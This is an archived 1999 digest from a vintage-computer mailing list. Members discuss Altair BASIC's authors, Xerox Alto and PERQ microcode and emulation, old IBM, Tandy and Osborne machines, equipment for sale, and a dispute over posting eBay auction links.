Altair BASIC In-Reply-To: <19990126020023.11746.qmail@brouhaha.com> Message-ID: <002301be48dd$db7b0f40$a1f438cb@a.davie> An interesting quote from my ALTAIR BASIC manual... "The Software Department is at Ext. 3; and the joint authors of the ALTAIR BASIC Interpreter, Bill Gates, Paul Allen and Monte Davidoff, will be glad to assist you." So, where is Monte these days? I haven't heard of him before. A -- adavie@mad.scientist.com visit the Museum of Soviet Calculators at http://www.comcen.com.au/~adavie/slide/calculator/soviet.html a Yahoo!, Netscape, Wall Street Journal, Newsweek and New Scientist Cool Site!? From kurtkilg at geocities.com Sun Jan 24 22:05:54 1999 From: kurtkilg at geocities.com (Max Eskin) Date: Sun Feb 27 18:40:31 2005 Subject: Altair BASIC In-Reply-To: Message-ID: On Sun, 24 Jan 1999, Andrew Davie wrote: > An interesting quote from my ALTAIR BASIC manual... > "The Software Department is at Ext. 3; and the joint authors of the ALTAIR > BASIC Interpreter, Bill Gates, Paul Allen and Monte Davidoff, will be glad > to assist you." > So, where is Monte these days? I haven't heard of him before. > A I don't know the answer, but I have a similar question. In Time magazine (IIRC), they had a big article on Billy G. and said that one of his business partners died/was injured in a car crash. Who was this? From guerney at uq.net.au Mon Jan 25 22:16:56 1999 From: guerney at uq.net.au (Phil Guerney) Date: Sun Feb 27 18:40:31 2005 Subject: Radio Shack Computer Demonstrator Message-ID: <000a01be48e3$49d933e0$32f665cb@default> Today I came across a 1982 dated 24-page booklet titled "The Radio Shack Computer Demonstrator" developed by Fred C. Matt. Section 1 was labelled "Storage Unit" and showed a series of instructions: 00 LODA,05 01 ADDA,06 02 STRA,07 ..... and further headings described registers and a comparing unit. I thought at first "Was this some sort of SBC with a monitor/assembler?" But reading on, it became obvious that this device was made out of _cardboard_ with sliding tabs for a line counter, and registers which were written to with a pencil! Has anybody managed to find/keep one of these things? Sounds a neat little souvenir from the period. And if anyone followed through the steps, they would indeed have had a good introduction to programming a microprocessor in assembly language. Would be great for kids even today - except I can't see many having the patience or interest unfortunately. Phil Brisbane, Australia From marvin at rain.org Mon Jan 25 22:43:15 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:31 2005 Subject: Ebay: Altairs References: Message-ID: <36AD47E3.8F6FE4B1@rain.org> It looks like those of you who thought the ebay Altairs were overpriced might have been right (or the demand has subsided while funds recuperate after the Chrismas season.) Two other Altairs are on ebay with neither breaking the 2K mark ... yet. http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=58803646 http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=60303160 From dpeschel at u.washington.edu Mon Jan 25 22:52:54 1999 From: dpeschel at u.washington.edu (Derek Peschel) Date: Sun Feb 27 18:40:31 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: from "Sam Ismail" at Jan 25, 99 07:34:11 pm Message-ID: <199901260452.UAA20044@saul7.u.washington.edu> > Why not just write a microcode emulator? I'm trying to compare the Alto to the Apple ][ (which is what I'm most familiar with) and they may be about the same order of magnitude. (If you think about it, it's pretty incredible if it's true, since this little machine ran such revolutionary programs! That's not to say it ran them _quickly_ -- the manuals gloss over that sort of thing. That's why I'm waiting to hear from someone who can describe the actual speed of the Alto.) The microcycle time is 170 ns. That works out to a clock cycle time (for the microcode) of just under 6 MHz. Suppose there are 5-10 micro- instructions per machine-language instruction. Then the figure of 1-2 usec per instruction (which is on Al's site -- see below) makes good sense. But it doesn't make much sense to do these kinds of rough calculations. The main reason is that as far as emulation goes, microcode is a totally different animal than machine code. Things happen in parallel; although the parts of the CPU are doing simple things (like simple arithmetic) they are working together. You would have to duplicate them precisely and make a single processor act as if it could do things in parallel. As Tony pointed out, that may even involve accounting for certain individual logic gates. The gate-level emulation by itself would be doable; the parallel-processing emulation would be doable; both together would be much less doable. There are two other snags. The first is that the Alto was designed with a motley assortment of hardware, all of which would need to be emulated -- the hard drive, the bitmapped display, the keyboard and mouse (and maybe the 5-key keyset), and the Ethernet. The hardware is exotic enough that it could be hard to coax a modern PC to duplicate it exactly. (For example, the Ethernet is from a previous generation, 3MB/sec.) (Honestly, the pun "coax"="convince" vs. "coax"="coaxial" was NOT intended!) The second snag is that the microcode drives the hardware. There are some fancy capabilities that user programs depend on. For example, the display hardware will take a series of blocks and put them on the display. The blocks may be inverted. They may have left margins (which involves shifting blocks to the right on the display). They may have right margins. This does NOT involve shifting each block to the left! It involves giving the block a certain size (a 1-dimensional range of memory addresses, from low to high) and changing the number of memory words per display line. Therefore, you're changing the size of a 2-dimensional array which is represented as a continuous (1-dimensional) string of words. The relationship between the offset of a word (its location in the 1-dimensional memory) and the placement of its bits (their location on the 2-dimensional screen) could get rather intricate. And the microcode has to manage all of the display capabilities, as well as managing the disk and keyboard and Ethernet, all with precise timings. I think the microcode actually has a task-switching executive in it. I wouldn't say an emulator is impossible. Atari and Commodore emulators emulate display hardware that's more advanced than the Alto's. But they can emulate the hardware directly. An Alto emulator would have to preserve the intimate and delicate relationship between the Alto's microcode and its hardware. The timing involved might be slow enough that a modern PC could handle it. But it (the timing) is detailed enough that I wouldn't want to write an Alto emulator without a LOT of spare time and documentation. Of course, I have neither of those things. :) The other alternative is not emulating the microcode, just the instructions that sit on top of them. (I guess that'd be an implicit answer to your question.) Unfortunately those instructions can _change at run-time_. Take loading Smalltalk as an example. First you have to boot off the Ethernet or disk, which is purely microcode. (As an aside, a parallel thread is about the keyboard combinations used to select which program you want sent over the Ethernet to your workstation. The combinations are very arbitrary. That's because the bits from the keyboard scanning get plopped right into the appropriate field of the Ethernet boot packet. It's ugly because it's so low-level. Obviously there weren't any microinstructions to spare to make the interface prettier.) Then I think you use the base instruction set (a clone of the NOVA, made for BCPL) to run the OS and executive. That loads Smalltalk. I suspect that Smalltalk uses its OWN microcode! (There's a big chunk (not in the base instruction set?) that does fancy BitBlt instructions. Think VGA cards. Of course since this is Xerox, not IBM, the capability is done _right_, but I digress.) I don't know if the details are right, but you can imagine the overhead that would be involved in writing such an emulator. At the very least, you'd have to emulate certain "canned" instruction sets (BCPL, Smalltalk) and some boot microcode. That might prevent you from playing the games, which may use their own microcode. On another subject, this Apple Lisa web page: http://galena.tjs.org/lisa/People/ points to Al's page (Eric said he's the person who's selling the Alto on eBay which started this whole discussion): http://www.spies.com/aek/xerox.html and implies that an emulator is in progress. But only Eric, or Al, or someone who has experience with an Alto (and who wants to come forward) can say for sure. Anyone? Anyone? I would rank Tony's opinion next in terms of credibility. Tony, do my rough not-based-on-experienced calculations seem plausible? Do the prospects of a PERQ emulator sound similar to my description? So there you have it, Sam. This is why computer science is such a fascinating and frustrating subject. Add bad marketing, entropy, and general greed and selfishness and things become REALLY interesting. :) -- Derek From marvin at rain.org Mon Jan 25 23:05:49 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:31 2005 Subject: Ebay: Stuff References: Message-ID: <36AD4D2D.C487D7A2@rain.org> While researching prices for some other stuff, I ran across these items. Light Pens for sale at only 4.85 each! Seems like a good deal if someone needs them. http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=60439677 Toshiba Modems, dutch, qty 3 starting at $2.99. http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=60433773 California Computer Systems S-100 Manuals http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=59648532 Someone asked a while ago about the IMSAI manuals. The current bid is $103.50! http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=59629904 From dpeschel at u.washington.edu Mon Jan 25 23:08:28 1999 From: dpeschel at u.washington.edu (Derek Peschel) Date: Sun Feb 27 18:40:31 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: from "Tony Duell" at Jan 26, 99 01:18:45 am Message-ID: <199901260508.VAA00084@saul7.u.washington.edu> > The problem with the PERQ manuals was that they didn't explain things. > They expected you to already know it, and just need reminding about (say) > the microcode fields... Weren't there documents that explained everything, but were internal only? Of course that is a huge problem when companies go out of business. > > If you look at the Alto manual, you can see Diablo's model numbers. > > ...which is a pdf file, which I'll have trouble reading... hmm. I've never seen that info except on the one site. You may just have to find a way to read those files. I wouldn't say they're complete (especially by your standards), but they're better than the information which I previously had, which is almost none. So they're worth reading. > All PERQ I/O is done in microcode as well. To give you some idea of what > it looks like, here's some microcode to implement a centronics interface > on the optional PERQlink port > {Centronics driver microcode for standard parallel printer on the PERQlink} > {interface.} Why do I suspect the microassembler syntax was based on Pascal's? (I had written "microsyntax" but that's not really the same meaning.) > Am I correct that the Alto keyboard was scanned in microcode, and that > selecting which file the machine booted from was done by holding down > some of the keys during the boot (the 16 bit? number from the keyboard > was ORed with the disk address or something). > > If so, then it was possible to have boot files that were almost > impossible to boot from because of the keys you had to hold down. They > were generally known as 'nose-boots' for the obvious reason. Yes, you are correct. See my huge reply to Sam's small question ("Why not just create a microcode emulator?"). Maybe they assumed you wouldn't need that many boot files anyway. Probably several would suffice: the Exec (OS and shell), the Scavenger (disk repair), the NetExec (Exec with network file capabilities), the FTP program, a disk- creation and copying program. IIRC those were all available, and that's about all you need, I think. > Alas the PERQ makes it less fun. They keyboard is handled in hardware. > You do select the boot image by holding down _a_ key during the boot, > but it's only one key, so there's no problem. :) You still have 50-100 options to choose from (one per key). That's not as many as 256 (128? 65536?) but it's still a lot. I wish modern machines had useful and flexible boot-time options. The IBM RS/6000 does (but being IBM, everything is done with the function keys). Other workstations do. Home machines don't, but their device interfaces are so complicated that they should. The shortcuts on the Mac are a good start, but I'm talking about documented, powerful, consistent firmware, to the level of a mini-OS if necessary. -- Derek From doug at blinkenlights.com Mon Jan 25 23:14:17 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:31 2005 Subject: Ebay: Stuff In-Reply-To: <36AD4D2D.C487D7A2@rain.org> Message-ID: On Mon, 25 Jan 1999, Marvin wrote: > While researching prices for some other stuff, I ran across these items. Only 130,000 more items to go, Marvin! For those of you who know how to use a web browser, rather than waste any more bandwidth on off-topic stuff from ebay, please go here and you can find the stuff without Marvin's help: http://pages.ebay.com/aw/search.html -- Doug From amirault at epix.net Mon Jan 25 23:28:01 1999 From: amirault at epix.net (John Amirault) Date: Sun Feb 27 18:40:31 2005 Subject: Alto II (was Re: PDP-8 prices References: <199901260508.VAA00084@saul7.u.washington.edu> Message-ID: <36AD5261.34670F34@epix.net> Hi, In order to read a PDF file you need to get " adobe acrobat reader " . Just do a net search and you will find all the info you need. Hope this helps you. John Amirault Derek Peschel wrote: > > The problem with the PERQ manuals was that they didn't explain things. > > They expected you to already know it, and just need reminding about (say) > > the microcode fields... > > Weren't there documents that explained everything, but were internal only? > Of course that is a huge problem when companies go out of business. > > > > If you look at the Alto manual, you can see Diablo's model numbers. > > > > ...which is a pdf file, which I'll have trouble reading... > > hmm. I've never seen that info except on the one site. You may just have > to find a way to read those files. > > I wouldn't say they're complete (especially by your standards), but they're > better than the information which I previously had, which is almost none. > So they're worth reading. > > > All PERQ I/O is done in microcode as well. To give you some idea of what > > it looks like, here's some microcode to implement a centronics interface > > on the optional PERQlink port > > > {Centronics driver microcode for standard parallel printer on the PERQlink} > > {interface.} > > Why do I suspect the microassembler syntax was based on Pascal's? > > (I had written "microsyntax" but that's not really the same meaning.) > > > Am I correct that the Alto keyboard was scanned in microcode, and that > > selecting which file the machine booted from was done by holding down > > some of the keys during the boot (the 16 bit? number from the keyboard > > was ORed with the disk address or something). > > > > If so, then it was possible to have boot files that were almost > > impossible to boot from because of the keys you had to hold down. They > > were generally known as 'nose-boots' for the obvious reason. > > Yes, you are correct. See my huge reply to Sam's small question ("Why not > just create a microcode emulator?"). > > Maybe they assumed you wouldn't need that many boot files anyway. Probably > several would suffice: the Exec (OS and shell), the Scavenger (disk repair), > the NetExec (Exec with network file capabilities), the FTP program, a disk- > creation and copying program. IIRC those were all available, and that's > about all you need, I think. > > > Alas the PERQ makes it less fun. They keyboard is handled in hardware. > > You do select the boot image by holding down _a_ key during the boot, > > but it's only one key, so there's no problem. > > :) You still have 50-100 options to choose from (one per key). That's not > as many as 256 (128? 65536?) but it's still a lot. > > I wish modern machines had useful and flexible boot-time options. The IBM > RS/6000 does (but being IBM, everything is done with the function keys). > Other workstations do. Home machines don't, but their device interfaces are > so complicated that they should. The shortcuts on the Mac are a good start, > but I'm talking about documented, powerful, consistent firmware, to the > level of a mini-OS if necessary. > > -- Derek From kyrrin at my-dejanews.com Mon Jan 25 23:26:21 1999 From: kyrrin at my-dejanews.com (Bruce Lane) Date: Sun Feb 27 18:40:31 2005 Subject: FW: Late-model VAX available Message-ID: <36ad518e.560578559@smtp.jps.net> Anyone want a nice 8000 series VAXen? Looks like these folks are getting rid of one. Between the list and Dan Burrows, I figure this one could find a good home. -=-=- -=-=- From: denihawk@aol.com (DENIHAWK) Newsgroups: comp.os.vms Subject: Vax Mainframe Lines: 9 NNTP-Posting-Host: ladder03.news.aol.com X-Admin: news@aol.com Date: 25 Jan 1999 21:39:26 GMT Organization: AOL http://www.aol.com Message-ID: <19990125163926.17953.00002954@ng29.aol.com> Path: news1.jps.net!news.pbi.net!165.87.194.248!newsm.ibm.net!ibm.net!news-spur1.maxwell.syr.edu!news.maxwell.syr.edu!newsfeed.cwix.com!152.163.199.19!portc03.blue.aol.com!audrey03.news.aol.com!not-for-mail Xref: news1.jps.net comp.os.vms:17946 Does anybody have a need for a Vax 8530/ 52mb memory and console , 2- HSC's, 2 - TA81's, 8 - 456mb Hard Drives. Several VT320 terminals and La75 printers. MicroVax II, Star Coupler, Power Conditioner. I am not having any luck with selling, donating, disposing any of these Items. Any suggestions would be appreciated. E-mail or serious inquiries may call me at (205)444-4507. Denise Hawkins Systems Manager Goldome Credit Corporation -=-=-=-=-=-=-=-=- Bruce Lane, Owner and head honcho, Blue Feather Technologies -- kyrrin (at) bluefeathertech [dot] com Web: http://www.bluefeathertech.com "...No matter how we may wish otherwise, our science can only describe an object, event, or living thing in our own human terms. It cannot possibly define any of them..." From guerney at uq.net.au Mon Jan 25 22:59:05 1999 From: guerney at uq.net.au (Phil Guerney) Date: Sun Feb 27 18:40:31 2005 Subject: Altair BASIC Message-ID: <002a01be48ee$4ef5cae0$32f665cb@default> From: Andrew Davie >An interesting quote from my ALTAIR BASIC manual... >"The Software Department is at Ext. 3; and the joint authors of the ALTAIR >BASIC Interpreter, Bill Gates, Paul Allen and Monte Davidoff, will be glad >to assist you." >So, where is Monte these days? I haven't heard of him before. >A From guerney at uq.net.au Mon Jan 25 23:38:36 1999 From: guerney at uq.net.au (Phil Guerney) Date: Sun Feb 27 18:40:31 2005 Subject: IBM PC-JX (was: Reiability of wrong media) Message-ID: <002c01be48ee$51739c20$32f665cb@default> Fred Cisin wrote: >The PC-JX is NOT PC-Jr. >Although there are a few superficial similarities, and many of the same >letters in the name, it is a different machine. Among other things, the >JX uses a 720K 5.25" drive. I think it must be a derivative of the PC-Jr design. With no disk in the drives, it boots up into a 40-col screen with IBM PC Jr BASIC Version J1.00 copyright IBM with 42646 bytes free, all white letters on black background. The initial boot screen is a multi-colour rainbow affair with 64K written at the bottom left. The system box has plugs at the back for keyboard, monitor, RS-232, 2 joysticks, printer, audio, cassette and light pen. My unit has a white 5.25" drive with "360K" written on it in pen - so I guess this is only a 360K drive, but is probably a replacement as I doubt IBM would have clashed the colour scheme with the rest of the black system. Phil From amirault at epix.net Mon Jan 25 23:41:47 1999 From: amirault at epix.net (John Amirault) Date: Sun Feb 27 18:40:31 2005 Subject: Ebay: Stuff & Help needed with Osborne 1 References: Message-ID: <36AD559B.FE6DF593@epix.net> Doug, Very well said. I think everyone is familiar with EBAY by now and if we want to use their service we will go there without Marvin's help. Marvin please do not take this the wrong way. I think that Ebay is a nice place to buy and sell and I am a registered user. I signed up to Classiccomp to learn about old computers, not to learn about where the auctions are. I can find auctions all day long on my Packard Bell cyrix 300 pentium class computer, all I need to do is a net search . Enough of that. I have an Osborne 1 that I am trying to get to boot up. I bought new boot disks and several programs for it. I get a message that says boot error. I do not hear any noise from the disk drives, although the drive lights light up. are these drives any harder to clean than the drives on an IBM PCJr and is this a good thing to try to do? Any and all help is appreciated. Yes Marvin, if you can help please do so. Thank you for listening to my 2 cents, John Amirault 107 2nd Ave. Susquehanna, Pa. 18847 Doug wrote: > On Mon, 25 Jan 1999, Marvin wrote: > > > While researching prices for some other stuff, I ran across these items. > > Only 130,000 more items to go, Marvin! > > For those of you who know how to use a web browser, rather than waste any > more bandwidth on off-topic stuff from ebay, please go here and you can > find the stuff without Marvin's help: > http://pages.ebay.com/aw/search.html > > -- Doug From hansp at digiweb.com Mon Jan 25 23:39:59 1999 From: hansp at digiweb.com (Hans B Pufal) Date: Sun Feb 27 18:40:31 2005 Subject: Altair BASIC References: Message-ID: <36AD552F.8A920E46@digiweb.com> Max Eskin wrote: > > BASIC Interpreter, Bill Gates, Paul Allen and Monte Davidoff, will be glad > > to assist you." > > So, where is Monte these days? I haven't heard of him before. > > A I worked with him many years ago at Gavilan. He did not like BillG and turned down the the job BillG ofered him. -- Hans B Pufal Tel: +33 (0)476 12 90 24 /\ Field Application Engineer Mobile: +33 (0)607 71 77 02 /\/\ American Megatrends International From dastar at ncal.verio.com Mon Jan 25 23:48:27 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:31 2005 Subject: The Computer Journal In-Reply-To: <000701be48c0$96117600$54b0adce@5x86jk> Message-ID: On Mon, 25 Jan 1999, John R. Keys Jr. wrote: > Historically Brewed was to have started back up late last year but I have > yet receive one issue from them and no response to e-mails for a refund. Thanks. I was going to subscribe but I guess I'll use that money to invest in some vintage computers instead. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From doug at blinkenlights.com Mon Jan 25 23:48:34 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:31 2005 Subject: Altair BASIC In-Reply-To: <36AD552F.8A920E46@digiweb.com> Message-ID: On Tue, 26 Jan 1999, Hans B Pufal wrote: > I worked with him many years ago at Gavilan. He did not like BillG and > turned down the the job BillG ofered him. Monte for Fearless Leader! I figure I only lost a few million not working for BillG, but Monte has balls of steel compared to me! We could probably make up a few $100K to him by making him poster boy for the Anti-Bill crowd. Was he charismatic at all? Not that it matters for all of the T-shirts I could sell.... -- Doug From dastar at ncal.verio.com Mon Jan 25 23:48:57 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:31 2005 Subject: Olivetti M20 information In-Reply-To: <199901260017.QAA18815@civic.hal.com> Message-ID: On Mon, 25 Jan 1999, Dwight Elvey wrote: > Hi > Making a call for anyone with info on the > Olivetti M20. It was a Z8000 machine. Wow, sounds cool. Is this a portable like the M10? If so, that would be wild! A Z8000-based portable! Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From edick at idcomm.com Tue Jan 26 00:00:07 1999 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:40:31 2005 Subject: old IMSAI hardware Message-ID: <19990126061405258.AAA172@fuj034cpc2f> I've got a couple of old IMSAI parallel interface cards, one with two 8255's on it and one with 8 8212's and a bunch of LED's. WOuld anyone have information about these babies? I've had them on the shelf for about fifteen years, thinking I might actually use them for something but have never bothered. I believe I even once had the schematic of the 8255 board, which has two 50-pin edge connectors with the I/O signals and a 26-pin between them which apparently bears some of the control signals from the bus. Unfortunately, I've lost track of the doc's. Anyone have information, e.g. schematics switch settings? Dick From dastar at ncal.verio.com Tue Jan 26 00:03:06 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:31 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: Message-ID: On Tue, 26 Jan 1999, Tony Duell wrote: > You probably _can_ maintain them. I intend to have a go at getting a > Daybreak working before too long. Could prove interesting. Of course the > time to figure out what all the chips are is when the machine is working > and so you can put a logic analyser on it. I have the Diagnostic manual that lists all the 4-digit diagnostic codes and their meanings that I should probably make a copy of for you. > Possibly... I've never had a monitor fail, thankfully. The one on my > Daybreak looks like a pretty standard 3rd-party unit. No. The Daybreak uses a proprietary display. It is apparently very difficult to adapt, say, a VGA monitor to a Daybreak. However, I have no doubt ARD could do it. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From doug at blinkenlights.com Tue Jan 26 00:08:40 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:31 2005 Subject: Olivetti M20 information In-Reply-To: Message-ID: On Mon, 25 Jan 1999, Sam Ismail wrote: > > Olivetti M20. It was a Z8000 machine. > > Wow, sounds cool. Is this a portable like the M10? If so, that would be > wild! A Z8000-based portable! No, they made a portable called the M22, but it was just an 8088 box (I think mine is a prototype :-). I *think* Oli made a couple of interesting Zilog boxen, though, perhaps even a Z80,000 box. I'll ask my Italian friend about it again. -- Doug From pctech at davidbowie.com Tue Jan 26 00:07:30 1999 From: pctech at davidbowie.com (PCTech) Date: Sun Feb 27 18:40:32 2005 Subject: Removal from list Message-ID: <000f01be48f2$29970080$bcacadce@pctech.davidbowie.com> I wish to be removed from the list.How do i do so? From marvin at rain.org Tue Jan 26 00:10:48 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:32 2005 Subject: Ebay: Stuff & Help needed with Osborne 1 References: <36AD559B.FE6DF593@epix.net> Message-ID: <36AD5C68.8274270B@rain.org> John Amirault wrote: > > Doug, > Very well said. I think everyone is familiar with EBAY by now and if we want > to use their service we will go there without Marvin's help. Marvin please do > not take this the wrong way. I think that Ebay is a nice place to buy and sell Hi John, The do-post comments I have received to date exceed the don't-post comments. Anyone on this list who doesn't particularly care to see the posts can go on to the next message. Some (many, most?) people on this list don't have the time or desire to go searching. My searchs are usually an offshoot of looking for something else. So far, there only seems to be one person having a major problem with my posts. It might help to remember that censorship so far has not been particularly popular on this list. I really thought and hoped this topic had died a well deserved death. From jpl15 at netcom.com Tue Jan 26 00:12:57 1999 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:40:32 2005 Subject: OT: SoCal TRW Swapmeet Message-ID: Another month whizzes by! But, what fun! The TRW Ham Radio Swapmeet is this Saturday, 30th January, at the TRW Facility in El Segundo, CA.. from 07:30 until 11:30 hours PST. Any Classicmp denizens who will be in/around the SoCal area on saturday are invited to attend. Afterward, I am planning on brunch at the local eatery, right after Marvin gets done taking 1st place in the ham transmitter hunt contest. (again) Anyone interested in getting together at/after the Meet, or who wishes to use one of my two prime spaces to sell some Vintage Computer gear.. respond by private e-mail for further info. Or, on second thought... never mind. There's never any Good Gear there, anyway... nothing at all. Please sleep in. Wash the car. Walk your ferrets... I want all the Goodies for me...... :) Cheerz John From doug at blinkenlights.com Tue Jan 26 00:17:36 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:32 2005 Subject: Ebay: Stuff & Help needed with Osborne 1 In-Reply-To: <36AD5C68.8274270B@rain.org> Message-ID: On Mon, 25 Jan 1999, Marvin wrote: > I really thought and hoped this topic had died a well deserved death. Me too, but you couldn't resist. Might I suggest a compromise? I will host a special "Marvin's Ebay Advertising" list. Anybody can subscribe, and you can make as much noise and as many bidders miserable as you like, OK? -- Doug From guerney at uq.net.au Tue Jan 26 00:31:47 1999 From: guerney at uq.net.au (Phil Guerney) Date: Sun Feb 27 18:40:32 2005 Subject: CoCo3's & Legitimacy of the Ten Year Rule. Message-ID: <006c01be48f5$bf1ba540$32f665cb@default> Tony Duell said: >Talking of CoCo3's, has anyone ever seen a 50Hz PAL video model? They were sold in Australia. Mine has the following on the sticker on the base of the unit. "128L COLOR COMPUTER 3 PAL VERSION" MODEL 26-3334 Custom Manufactured in Korea for Tandy Australia. 240 V 50 Hz of course. And for those interested in Serial Numbers, this one is 1003738 and my other one is 1002641 Roger "Merch" Merchberger said: >> BTW, my CoCo3's serial # is 102404... anyone know if there are different >> serial number series for US-sold versus Canadian-sold CoCo3's? I purchased >> mine in Canada; much cheaper! From amirault at epix.net Tue Jan 26 00:29:14 1999 From: amirault at epix.net (John Amirault) Date: Sun Feb 27 18:40:32 2005 Subject: IBM PC-JX (was: Reiability of wrong media) References: Message-ID: <36AD60BA.27320D9D@epix.net> Tony, Thank you. I have a TMC850Jr on one of my IBM PCJr's, this is a SCSI controller card. I have a small hard drive and also am trying to get a CDROM to work, the drive is recognized, but I have no DOS based software on CD. I use DOS 6.22 so I should be able to run any IBM compatable software that will run on CGA, I want to get the VGA sidecar for the Jr.Can anyone one help me with my needs for this EDSEL of computing. I like this machine. This is the first computer I have ever owned and been able to fix. I have, of course, been teaching myself how to work on all my computers. The Osborne 1, an IBM 286, several IBM PC XT's, a Leading Edge. John Amirault 107 Second Ave. Susquehanna, Pa. 18847 Tony Duell wrote: > > The PC-JX is NOT PC-Jr. > > Although there are a few superficial similarities, and many of the same > > letters in the name, it is a different machine. Among other things, the > > JX uses a 720K 5.25" drive. > > I hope there are more significant differences. The PC-jr hardware is > quite capable of controlling 720K drives.... > > -tony From marvin at rain.org Tue Jan 26 00:31:55 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:32 2005 Subject: OT: SoCal TRW Swapmeet References: Message-ID: <36AD615B.B31CCAD7@rain.org> John Lawson wrote: > > Or, on second thought... never mind. There's never any Good Gear > there, anyway... nothing at all. Please sleep in. Wash the car. > Walk your ferrets... > > I want all the Goodies for me...... Judging by my experience there, you almost always get your wish :). Aside from the lottery, er, chance to find something unique there, it is a just a fun place for us packrats. And if anyone is interested in finding out what this ARDF thing I have been talking about is, come on down and I'll be happy to throw in a how-to-do-it session as an added bonus. From dastar at ncal.verio.com Tue Jan 26 00:33:21 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:32 2005 Subject: Altair BASIC In-Reply-To: Message-ID: On Sun, 24 Jan 1999, Max Eskin wrote: > On Sun, 24 Jan 1999, Andrew Davie wrote: > > An interesting quote from my ALTAIR BASIC manual... > > "The Software Department is at Ext. 3; and the joint authors of the ALTAIR > > BASIC Interpreter, Bill Gates, Paul Allen and Monte Davidoff, will be glad > > to assist you." > > So, where is Monte these days? I haven't heard of him before. > > A > > I don't know the answer, but I have a similar question. In Time magazine > (IIRC), they had a big article on Billy G. and said that one of his > business partners died/was injured in a car crash. Who was this? Hmmmmm, sounds like the missing link to me :) Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From marvin at rain.org Tue Jan 26 00:34:36 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:32 2005 Subject: Ebay: Stuff & Help needed with Osborne 1 References: Message-ID: <36AD61FC.AC081D97@rain.org> Doug wrote: > > On Mon, 25 Jan 1999, Marvin wrote: > > > I really thought and hoped this topic had died a well deserved death. > > Me too, but you couldn't resist. Might I suggest a compromise? I will > host a special "Marvin's Ebay Advertising" list. Anybody can subscribe, > and you can make as much noise and as many bidders miserable as you like, > OK? Doug, if you are trying to start a flamewar again, please take it to email. I very much enjoy that type of battle, but this is not the place for it. From joe at barrera.org Tue Jan 26 00:40:33 1999 From: joe at barrera.org (Joseph S. Barrera III) Date: Sun Feb 27 18:40:32 2005 Subject: Ebay: Stuff & Help needed with Osborne 1 Message-ID: <014501be48f6$cacf23c0$11d53d9d@JOEBAR> Marvin, Just to let you know... I had already put a bid on at least one of the items you posted about, and I was planning to snipe another one. I'm not going to tell you not to post your lists, but I'd be happier if you didn't. - Joe ----- Original Message ----- From: Doug To: Discussion re-collecting of classic computers Sent: Monday, January 25, 1999 10:17 PM Subject: Re: Ebay: Stuff & Help needed with Osborne 1 >On Mon, 25 Jan 1999, Marvin wrote: > >> I really thought and hoped this topic had died a well deserved death. > >Me too, but you couldn't resist. Might I suggest a compromise? I will >host a special "Marvin's Ebay Advertising" list. Anybody can subscribe, >and you can make as much noise and as many bidders miserable as you like, >OK? > >-- Doug > > From doug at blinkenlights.com Tue Jan 26 00:45:00 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:32 2005 Subject: Ebay: Stuff & Help needed with Osborne 1 In-Reply-To: <36AD61FC.AC081D97@rain.org> Message-ID: On Mon, 25 Jan 1999, Marvin wrote: > > Me too, but you couldn't resist. Might I suggest a compromise? I will > > host a special "Marvin's Ebay Advertising" list. Anybody can subscribe, > > and you can make as much noise and as many bidders miserable as you like, > > OK? > > Doug, if you are trying to start a flamewar again, please take it to email. > I very much enjoy that type of battle, but this is not the place for it. Not at all, Marvin. This is a serious suggestion. I honestly don't know what motivates you, and I wouldn't think of stifling your right to free speech, but I cannot comprehend why you would willingly step on even a single toe of a single member of this list, much less virtually all of the (relatively few) *heavy* bidders on ebay. You seem like such a nice guy, otherwise :-) I think this would be the *perfect* compromise. Those who really see your service as valuable would enjoy the same opportunity they have here, but those who find your actions, erhm, distracting would not be subjected to them. I can set the list up in less than 15 minutes, and nothing would bring me more pleasure. -- Doug From dastar at ncal.verio.com Tue Jan 26 00:45:54 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:32 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: <199901260452.UAA20044@saul7.u.washington.edu> Message-ID: On Mon, 25 Jan 1999, Derek Peschel wrote: > The main reason is that as far as emulation goes, microcode is a totally > different animal than machine code. Things happen in parallel; although the > parts of the CPU are doing simple things (like simple arithmetic) they are > working together. 